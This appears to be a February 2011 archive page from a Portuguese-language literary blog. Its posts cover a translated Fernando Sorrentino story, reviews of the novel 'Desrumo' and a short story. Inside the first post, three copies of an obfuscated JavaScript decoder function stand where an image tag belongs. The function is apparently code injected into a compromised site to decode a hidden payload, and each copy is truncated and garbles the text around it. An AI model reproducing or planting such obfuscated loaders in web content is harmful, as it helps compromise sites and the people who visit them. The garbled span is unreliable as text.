Archive for fevereiro, 2011

Leia conto do argentino Fernando Sorrentino traduzido pela escritora Ana Flores

segunda-feira, fevereiro 28th, 2011

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5ando Sorrentino” width=”460″ height=”360″ class=”aligncenter size-full wp-image-2293″ />Fernando Sorrentino é escritor e professor de Língua e Literatura

A LIÇÃO
Fernando Sorrentino

Tradução: Ana Flores
anaflores.rj@terra.com.br

Quando terminei meu curso secundário, consegui emprego como funcionário de uma companhia de seguros de Buenos Aires. Era um trabalho bem desagradável e se desenvolvia num ambiente de pessoas desprezíveis, mas como eu tinha apenas dezoito anos, isso não me incomodava tanto. (mais…)

Opinião do jornalista Wilson Baroncelli sobre “Desrumo”

domingo, fevereiro 27th, 2011

Recebi a opinião do jornalista Wilson Baroncelli sobre meu livro. Eis o que ele diz:

Acabei de ler o seu livro. Simplesmente fantástico! História(s), estrutura de narração, estilo, linguagem. Um prazer saborear cada parágrafo. Por isso também demorei pra terminar. Meus sinceros parabéns.

O protagonista tem o jeitão de Ponciano de Azevedo Furtado, de “O coronel e o lobisomem”, de José Cândido de Carvalho, que considero um dos melhores romances brasileiros de todos os tempos. (mais…)

Um fantasma na rua

quinta-feira, fevereiro 3rd, 2011

Como começou eu não sei direito. Sei só como acabou. Maria, na frente, com a criança no colo, protegendo-se da poeira avermelhadona das ruas todas de terra. Ali o asfalto era coisa de rodovia. Eu, ao lado, caminhava latejando felicidade. Atrás da gente, a uns poucos passos, vinha sempre o Arnaldo, inteiro bêbedo, meio caído. Tínhamos, dali a pouco, o batizado coletivo. (mais…)

Leia crítica do jornalista Fabiano Alcântara sobre ‘Desrumo’

terça-feira, fevereiro 1st, 2011

Você jura que não viu o Saruípe por aí?
Fabiano Alcântara
Jornalista

Casa onde Márcio ABC nasceu, no bairro rural da Lagoa Seca, município de Cafelândia

Talvez fosse a do macaquinho ou a história do surdo, mas enquanto ouço seu Marolo, nascido Aparecido Ferreira, contar mais um causo do tempo em que dirigia caminhões, penso em como é bobagem crer que o êxito de Guimarães Rosa em levar a oralidade popular para a literatura seja uma barreira para outras experiências do gênero, como alguns críticos e autores creem.

Seu Marolo, motorista do jornal, nasceu em Guaianás. Suas histórias foram recolhidas em viagens pelo Brasil e seu jeito de falar é a prosa viva do interior recôndito. O que está em jogo não é apenas o que contar, mas como contar.

Duas obras-primas assombram “Desrumo” (Novo Século), segundo romance de Márcio ABC, lançado pelo selo Novos Talentos da Literatura Brasileira. São eles: “Grande Sertão: Veredas", do já citado Rosa, e "Lavoura Arcaica", de Raduan Nassar. (mais…)